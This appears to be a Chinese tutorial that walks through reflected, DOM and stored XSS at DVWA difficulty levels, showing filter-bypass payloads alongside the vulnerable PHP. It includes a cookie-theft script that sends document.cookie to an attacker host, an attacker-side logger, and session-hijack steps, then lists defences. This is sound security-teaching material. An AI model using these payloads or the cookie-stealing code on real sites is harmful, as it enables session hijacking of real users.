反射型:
在表单输入jack
网页源代码:<pre>Hello jack</pre>
测试:
低级别:<script>alert(‘xss‘)</script>
代码:直接对输入判断,没有任何安全过滤
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ ‘name‘ ] != NULL ) {
// Feedback for end user
echo ‘<pre>Hello ‘ . $_GET[ ‘name‘ ] . ‘</pre>‘;
}
?>
中级别:<scr<script>ipt>alert(‘xss‘)</script>
代码:用str_replace函数,将<script>替换掉,但不严格,可以绕过
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ ‘name‘ ] != NULL ) {
// Get input
$name = str_replace( ‘<script>‘, ‘‘, $_GET[ ‘name‘ ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
高级别:使用事件:11</pre><img src=1 onerror=alert(‘xss‘)><pre>22 一带任何script的标志
代码:正则表达式做替换,使用通配符,对script相关的替换掉,但对事件型的构造语句没有进行过滤
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ ‘name‘ ] != NULL ) {
// Get input
$name = preg_replace( ‘/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i‘, ‘‘, $_GET[ ‘name‘ ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
最高级别代码:严格,加了token,htmlspecialchars()可对输入参数进行实体转义,输入的<,>等都是会当做实体字符输出
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ ‘name‘ ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ ‘user_token‘ ], $_SESSION[ ‘session_token‘ ], ‘index.php‘ );
// Get input
$name = htmlspecialchars( $_GET[ ‘name‘ ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
DOM型:
可把DOM理解为一个一个访问html的标准编程接口。
不需要后台服务器的参与
测试:
‘ onclick=alert(‘xss‘)// 先闭合单引号,用onclick事件,再用//注释掉后边的单引号
‘><img src=1 onerror=alert(‘xss‘)><‘ 插入图片,并发生错误事件,再闭合后边的
网页源代码:
<!DOCTYPE html>
<html>
<body>
<script>
function xsstest(){
var str=document.getElementById("text").value;
document.getElementById("t").innerHTML="<a href=‘ "+str+" ‘>testlink</a>";
}
</script>
<input type="text" id="text" value=""/>
<input type="button" value="write" onclick="xsstest()">
<div id=‘t‘></div>
</body>
</html>
存储型:
输入框长度绕过:
<input name="txtName" size="30" maxlength="10" type="text">
通过firebug修改长度即可
或者用burp suit抓包重放
网页源代码:
<div id="guestbook_comments">Name: tttt<br />Message: ttttt<br /></div>
低级别:
测试:<script>alert(‘xss‘)</script>
代码:
<?php
if( isset( $_POST[ ‘btnSign‘ ] ) ) {
// Get input
$message = trim( $_POST[ ‘mtxMessage‘ ] );//trim 移除字符串两侧的空白字符(默认)或其他预定义字符
$name = trim( $_POST[ ‘txtName‘ ] );
// Sanitize message input
$message = stripslashes( $message ); //去掉反斜杠
$message = mysql_real_escape_string( $message ); //可用本函数来预防数据库攻击,过滤特殊字符,对sql语句进行转义,如‘,转义为实体,输出到前端时没有处理
// Sanitize name input
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( ‘$message‘, ‘$name‘ );";
$result = mysql_query( $query ) or die( ‘<pre>‘ . mysql_error() . ‘</pre>‘ );
//mysql_close();
}
?>
中级别:
测试:<scr<script>ipt>alert(‘xss‘)</script>
代码:
<?php
if( isset( $_POST[ ‘btnSign‘ ] ) ) {
// Get input
$message = trim( $_POST[ ‘mtxMessage‘ ] );
$name = trim( $_POST[ ‘txtName‘ ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );//strip_tags()剥去字符串中的html标签 ; addslashes()在每个双引号前添加反斜杠
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message ); // htmlspecialchars()把预定义的字符如<>&‘"转为HTML实体
// Sanitize name input
$name = str_replace( ‘<script>‘, ‘‘, $name );
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( ‘$message‘, ‘$name‘ );";
$result = mysql_query( $query ) or die( ‘<pre>‘ . mysql_error() . ‘</pre>‘ );
//mysql_close();
}
?>
高级别:
测试:<img src=1 onerror=alert(‘xss‘)>
代码:
<?php
if( isset( $_POST[ ‘btnSign‘ ] ) ) {
// Get input
$message = trim( $_POST[ ‘mtxMessage‘ ] );
$name = trim( $_POST[ ‘txtName‘ ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( ‘/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i‘, ‘‘, $name );
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( ‘$message‘, ‘$name‘ );";
$result = mysql_query( $query ) or die( ‘<pre>‘ . mysql_error() . ‘</pre>‘ );
//mysql_close();
}
?>
更高级别代码:很严格
<?php
if( isset( $_POST[ ‘btnSign‘ ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ ‘user_token‘ ], $_SESSION[ ‘session_token‘ ], ‘index.php‘ );
// Get input
$message = trim( $_POST[ ‘mtxMessage‘ ] );
$name = trim( $_POST[ ‘txtName‘ ] );
// Sanitize message input
$message = stripslashes( $message );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = mysql_real_escape_string( $name );
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( ‘INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );‘ );
$data->bindParam( ‘:message‘, $message, PDO::PARAM_STR );
$data->bindParam( ‘:name‘, $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
盗取cookie:
攻击者代码:
<?php
$cookie=$_GET[‘cookie‘];
$time=date(‘Y-m-d g:i:s‘);
$referer=getenv(‘HTTP_REFERER‘);
$cookietxt=fopen(‘cookie.txt‘,‘a‘);
fwrite($cookietxt,"time:".$time." cookie:".$cookie." referer:".$referer.""); 注意双引号,容易出错
fclose($cookietxt);
?>
脚本端:
<script>
document.write(‘<img src="http://ip/cookie.php?cookie=‘+document.cookie+‘" width=0 height=0 border=0 />‘);
</script>
获取到cookie后,用firebug找到cookie,新建cookie
加入cookie,用referer来提交,无需输入帐号密码直接登录进去!
XSS防范措施:
1.对前端输入做过滤和编码:
比如只允许输入指定类型的字符,比如电话号格式,注册用户名限制等,输入检查需要在服务器端完成,在前端完成的限制是容易绕过的;
对特殊字符进行过滤和转义;
2.对输出做过滤和编码:在变量值输出到前端的HTML时进行编码和转义;
3.给关键cookie使用http-only